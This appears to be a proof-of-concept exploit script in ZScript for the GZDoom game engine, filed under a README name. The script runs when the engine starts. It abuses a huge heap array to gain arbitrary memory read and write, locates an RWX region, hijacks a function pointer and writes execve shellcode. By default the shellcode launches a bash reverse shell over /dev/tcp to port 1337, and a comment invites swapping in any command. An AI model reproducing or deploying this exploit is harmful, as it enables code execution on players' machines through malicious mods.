README.md
Rendering markdown...
version "4.13"
class WeirdObject
{
// NOTE: The first member starts at offset 0x28. Probably what's before it are inherited members.
// On the debug build, it actually starts at 0x30, implying 8 bytes' worth of members have been added.
uint one; // Nothing wrong with me.
uint two; // Nothing wrong with me.
uint three; // Nothing wrong with me!
uint four; // NOTHING WRONG WITH ME!
Function<clearscope void()> funcptr; // Something's got to give!
}
class EEEEVILLLLEventHandler : StaticEventHandler
{
String szShellCmd;
void Status(String szMsg)
{
Console.Printf("\034V[*] %s\034J", szMsg);
}
void Success(String szMsg)
{
Console.Printf("\034D[+] %s\034J", szMsg);
}
void ErrorOrWarning(String szMsg)
{
Console.Printf("\034G[x] %s\034J", szMsg);
}
override void OnEngineInitialize()
{
uint i;
uint u32RWX_L;
uint u32RWX_H;
uint u32FoundSomething;
uint u32ShellcodeAddr_L;
uint u32ShellcodeAddr_H;
uint u32CurWord;
uint u32NumCharsToCopy;
uint u32Reserved6;
uint u32Reserved7;
uint u32Reserved8;
Console.Printf("\n");
Status("Let's rock, baby!");
Status("NOTE: This PoC only works on Linux!");
// Replace this with the shell command you want to execute!
// By default, this spawns a reverse shell, connecting back to localhost on port 1337.
szShellCmd = "/bin/bash -i >& /dev/tcp/localhost/1337 0>&1 &";
Status("The command you intend to execute is:");
COnsole.Printf("\t%s", szShellCmd);
// Start by allocating a huge-ass array. It's store on the heap.
// These are 32-bit words, so this is enough to address about 4 GiB of memory.
// Obviously we won't be able to read all of it; when this script runs, the heap will be only 16 MiB large.
// But that's more than enough for what we're looking to do.
uint u32pBFA9000[1073741823];
u32pBFA9000[0] = 0xA5A5A5A5; // To visually identify the array start in memory dumps.
// Used to search for offsets known to be in the RWX region. Run with ASLR disabled!
// Known possible ranges of RWX maps (on my machine at least):
// 0x7ffff2f00000 - 0x7ffff3000000
// 0x7ffff3900000 - 0x7ffff3a00000
// 0x7ffff4300000 - 0x7ffff4400000
// To find where the possible RWX regions are when ASLR's disabled, cat /proc/<gzdoom-pid>/maps and grep for "rwx".
/*Status("Finding candidates of offsets known to be in the RWX region (will not work if ASLR's enabled)...");
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
ErrorOrWarning("Infinite loop of death!");
for (i = 0; i < 1; i = 0) {};*/
// Locate the RWX region's address by scanning the heap and comparing each low half of a qword against a known offset.
// Relying on the memory allocator to place sensitive values on the heap predictably is a fool's errand.
// We don't know what an RWX region looks like, but we do know offsets within it and the fact that it's somewhere high.
// ZScript is compiled deterministically on a single thread (I think, didn't check), so offsets shouldn't change.
// Stop on the first match found, otherwise we'll go too far and read memory we're not supposed to read.
Status("Finding RWX region's address...");
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
// Make sure this is indeed an address and not just some data that happens to have the same lower bits.
if ((u32RWX_H & 0xffff8000) == 0)
{
// Check the value, branch-by-branch. I didn't want to use a for loop and array of integers for fear
// of compiler optimization changing the execution/compilation logic in a way I didn't want.
u32FoundSomething = 0;
if ((u32RWX_L & 0x001fffff) == 0x1aed58) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1aed58; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cc518) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cc518; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1ccb24) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1ccb24; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1ccd08) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1ccd08; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cd01c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cd01c; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cd978) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cd978; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cdbd4) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cdbd4; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1ce5f0) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1ce5f0; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cef0c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cef0c; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cf830) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cf830; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1cfd7c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1cfd7c; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x14c300) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x14c300; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x14c534) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x14c534; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x14c658) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x14c658; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x14c87c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x14c87c; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x14cbb0) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x14cbb0; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1661b4) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1661b4; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x166a20) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x166a20; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x166f34) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x166f34; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x167088) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x167088; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x16715c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x16715c; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1f6c1c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1f6c1c; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1fe8df) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1fe8df; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x10037f) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x10037f; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1008cb) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1008cb; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x100cff) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x100cff; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x101573) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x101573; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x101d8f) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x101d8f; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1024f3) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1024f3; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x102bdf) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x102bdf; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x10370b) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x10370b; u32FoundSomething = 1; }
if ((u32RWX_L & 0x001fffff) == 0x1f845c) { Console.Printf("\t0x%08x%08x", u32RWX_H, u32RWX_L); u32RWX_L -= 0x1f845c; u32FoundSomething = 1; }
// Stop if we found something, but only if it's plausibly a non-heap/non-program address.
if (u32FoundSomething)
{
// NOTE: Sometimes this can start at or after 0x56000000.
if (u32RWX_H > 0x00005600)
break;
else
ErrorOrWarning("Nope...");
}
}
else
{
u32RWX_L = 0;
u32RWX_H = 0;
}
}
if (u32RWX_L == 0 && u32RWX_H == 0)
{
// 100% certain this'll never happen.
ErrorOrWarning("Came out empty handed!");
return;
}
u32RWX_L += 0x180000; // Here's hoping it doesn't overflow...
Success("Found something!");
Console.Printf("\t0x%x%08x", u32RWX_H, u32RWX_L);
u32ShellcodeAddr_L = u32RWX_L + 0x2000;
u32ShellcodeAddr_H = u32RWX_H;
Status("Shellcode will be placed at:");
Console.Printf("\t0x%x%08x", u32ShellcodeAddr_H, u32ShellcodeAddr_L);
// Allocate an array of pointers and, using a for loop with 2 objects to avoid optimization, modify the first one.
// The compiler doesn't realize it, but ppGadgetObjects and u32pBFA9000 overlap at exactly the same start addresses!
// The pointer will point to the RWX region where we'll write the shellcode, and we'll write it.
// NOTE: Might not need the for loop, but in my test code I did it with one and it worked well.
Status("Creating gadget objects...");
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject"); // Arbitrary execute object.
Success("Done!");
// Using our arbitrary write primitive, prepare our arbitrary execute primitive.
// NOTE: The offsets are different for debug and release builds.
Status("Preparing arbitrary execute...");
// The target value points to... well, I'm not sure. It's a struct of some kind.
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x40 - 8;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x100;
ppGadgetObjects[0].two = u32RWX_H;
// The target value points to a VMFunction.
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x100 + 8;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x200;
ppGadgetObjects[0].two = u32RWX_H;
// At (target_value + 0xc) is VMFunction.VarFlags.
// Set it to all-zeros so that VARF_Native is unset, leading to a simpler function call.
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x200 + 0xc;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = 0x00000000;
ppGadgetObjects[0].two = 0x00000000;
// At (target_value + 0x58) is the pointer to the function to be called!
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x200 + 0x58;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32ShellcodeAddr_L;
ppGadgetObjects[0].two = u32ShellcodeAddr_H;
// Just gonna put some invalid opcodes at the shellcode address for now.
// It helps with testing the shellcode to make sure the regs are correct.
for (i = 0; i < 256; i += 0x10)
{
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + i;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x0B0F0B0F;
ppGadgetObjects[0].two = 0x0B0F0B0F;
ppGadgetObjects[0].three = 0x0B0F0B0F;
ppGadgetObjects[0].four = 0x0B0F0B0F;
}
// Now we overwrite ppGadgetObjects[1].funcptr!
ppGadgetObjects[1].funcptr = Console.HideConsole;
u32pBFA9000[2] += 16; // Skip the first 4 members, point to the pointer member.
ppGadgetObjects[1].one = u32RWX_L;
ppGadgetObjects[1].two = u32RWX_H;
u32pBFA9000[2] -= 16; // Revert it so we can make the call.
// That's it! We just call ppGadgetObjects[1].funcptr when we're ready to rock.
Success("Done!");
// Uncomment to test calling the malicious pointer.
// If successful, the program should crash due to an illegal instruction error.
//ppGadgetObjects[1].funcptr.call();
// Now to write our shellcode and the data it needs.
// The data to write and their offsets relative to the RWX region's start address are:
/*
0x1fe0 - pointer to "/bin/bash" (rwx + 0x4000)
0x1fe8 - pointer to argv (rwx + 0x4300)
0x1ff0 - pointer to envp
0x2000 - shellcode
0x4000 - "/bin/bash" + null terminator
0x4100 - "-c" + null terminator
0x4200 - command to execute + null terminator
0x4300 - (start of argv) pointer to "/bin/bash" (rwx + 0x4000)
0x4308 - pointer to "-c" (rwx + 0x4100)
0x4310 - ponter to the command to execute (rwx + 0x4200)
0x4318 - (end of argv, start of envp) NULL
*/
// Let's get the strings out of the way first.
Status("Creating strings in RWX region...");
// "/bin/bash" @ 0x4000
Status("\"/bin/bash\" @ 0x4000");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4000;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = 0x6e69622f; // /bin
ppGadgetObjects[0].two = 0x7361622f; // /bas
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4000 + 8;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = 0x00000068; // h[NULL]
// "-c" @ 0x4100
Status("\"-c\" @ 0x4100");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4100;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = 0x0000632d; // -c[NULL]
// szShellCmd @ 0x4200
Status("your command @ 0x4200");
for (i = 0; i < szShellCmd.Length(); i += 4)
{
u32NumCharsToCopy = szShellCmd.Length() - i;
if (u32NumCharsToCopy > 4)
u32NumCharsToCopy = 4;
u32CurWord = 0;
if (u32NumCharsToCopy == 4)
u32CurWord |= ((uint)(szShellCmd.ByteAt(i+3)) << 24);
if (u32NumCharsToCopy >= 3)
u32CurWord |= ((uint)(szShellCmd.ByteAt(i+2)) << 16);
if (u32NumCharsToCopy >= 2)
u32CurWord |= ((uint)(szShellCmd.ByteAt(i+1)) << 8);
u32CurWord |= (uint)(szShellCmd.ByteAt(i));
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4200 + i;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32CurWord;
}
Success("Done!");
// Now let's do argv and envp.
// argv = { "/bin/bash", "-c", "your-command-here" }
// envp = { NULL }
Status("Creating argv and envp...");
// pointer to "/bin/bash" @ 0x4300
Status("pointer to \"/bin/bash\" @ 0x4300");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4300 + 0;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x4000;
ppGadgetObjects[0].two = u32RWX_H;
// pointer to "-c" @ 0x4308
Status("pointer to \"-c\" @ 0x4308");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4300 + 8;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x4100;
ppGadgetObjects[0].two = u32RWX_H;
// pointer to the command to execute @ 0x4310
Status("pointer to your command string @ 0x4310");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4300 + 16;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x4200;
ppGadgetObjects[0].two = u32RWX_H;
// NULL @ 0x4318
Status("NULL @ 0x4310");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x4300 + 24;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = 0x00000000;
ppGadgetObjects[0].two = 0x00000000;
Success("Done!");
// Finally, the pointers that execve will use.
Status("Creating pointers to be passed to execve...");
// pointer to "/bin/bash" @ 0x1fe0
Status("pointer to \"/bin/bash\" @ 0x1fe0");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x1fe0 + 0;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x4000;
ppGadgetObjects[0].two = u32RWX_H;
// pointer to argv @ 0x1fe8
Status("pointer to argv @ 0x1fe8");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x1fe0 + 8;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x4300;
ppGadgetObjects[0].two = u32RWX_H;
// pointer to envp @ 0x1ff0
Status("pointer to envp @ 0x1ff0");
u32pBFA9000[0] = (u32RWX_L-0x28) + 0x1fe0 + 16;
u32pBFA9000[1] = u32RWX_H;
ppGadgetObjects[0].one = u32RWX_L + 0x4318;
ppGadgetObjects[0].two = u32RWX_H;
Success("Done!");
// And finally, the shellcode.
// Used this for assembling, big thanks to its creators:
// https://defuse.ca/online-x86-assembler.htm
// The shellcode in assembly:
/*
0: 4c 8d 05 00 00 00 00 lea r8,[rip+0x0] # 7 <_main+0x7>
7: 49 83 e8 07 sub r8,0x7
b: 4d 89 c1 mov r9,r8
e: 49 83 e9 20 sub r9,0x20
12: 49 8b 39 mov rdi,QWORD PTR [r9]
15: 4d 89 c1 mov r9,r8
18: 49 83 e9 18 sub r9,0x18
1c: 49 8b 31 mov rsi,QWORD PTR [r9]
1f: 4d 89 c1 mov r9,r8
22: 49 83 e9 10 sub r9,0x10
26: 49 8b 11 mov rdx,QWORD PTR [r9]
29: 48 c7 c0 3b 00 00 00 mov rax,0x3b
30: 0f 05 syscall
*/
Status("Writing shellcode...");
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 0;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x00058D4C;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 4;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x49000000;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 8;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x4D07E883;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 12;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x8349C189;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 16;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x8B4920E9;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 20;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0xC1894D39;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 24;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x18E98349;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 28;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x4D318B49;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 32;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x8349C189;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 36;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x8B4910E9;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 40;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0xC0C74811;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 44;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x0000003B;
u32pBFA9000[0] = (u32ShellcodeAddr_L-0x28) + 48;
u32pBFA9000[1] = u32ShellcodeAddr_H;
ppGadgetObjects[0].one = 0x0000050f;
Success("Done!");
// Now run the code!
Success("Game over!");
ppGadgetObjects[1].funcptr.call();
}
}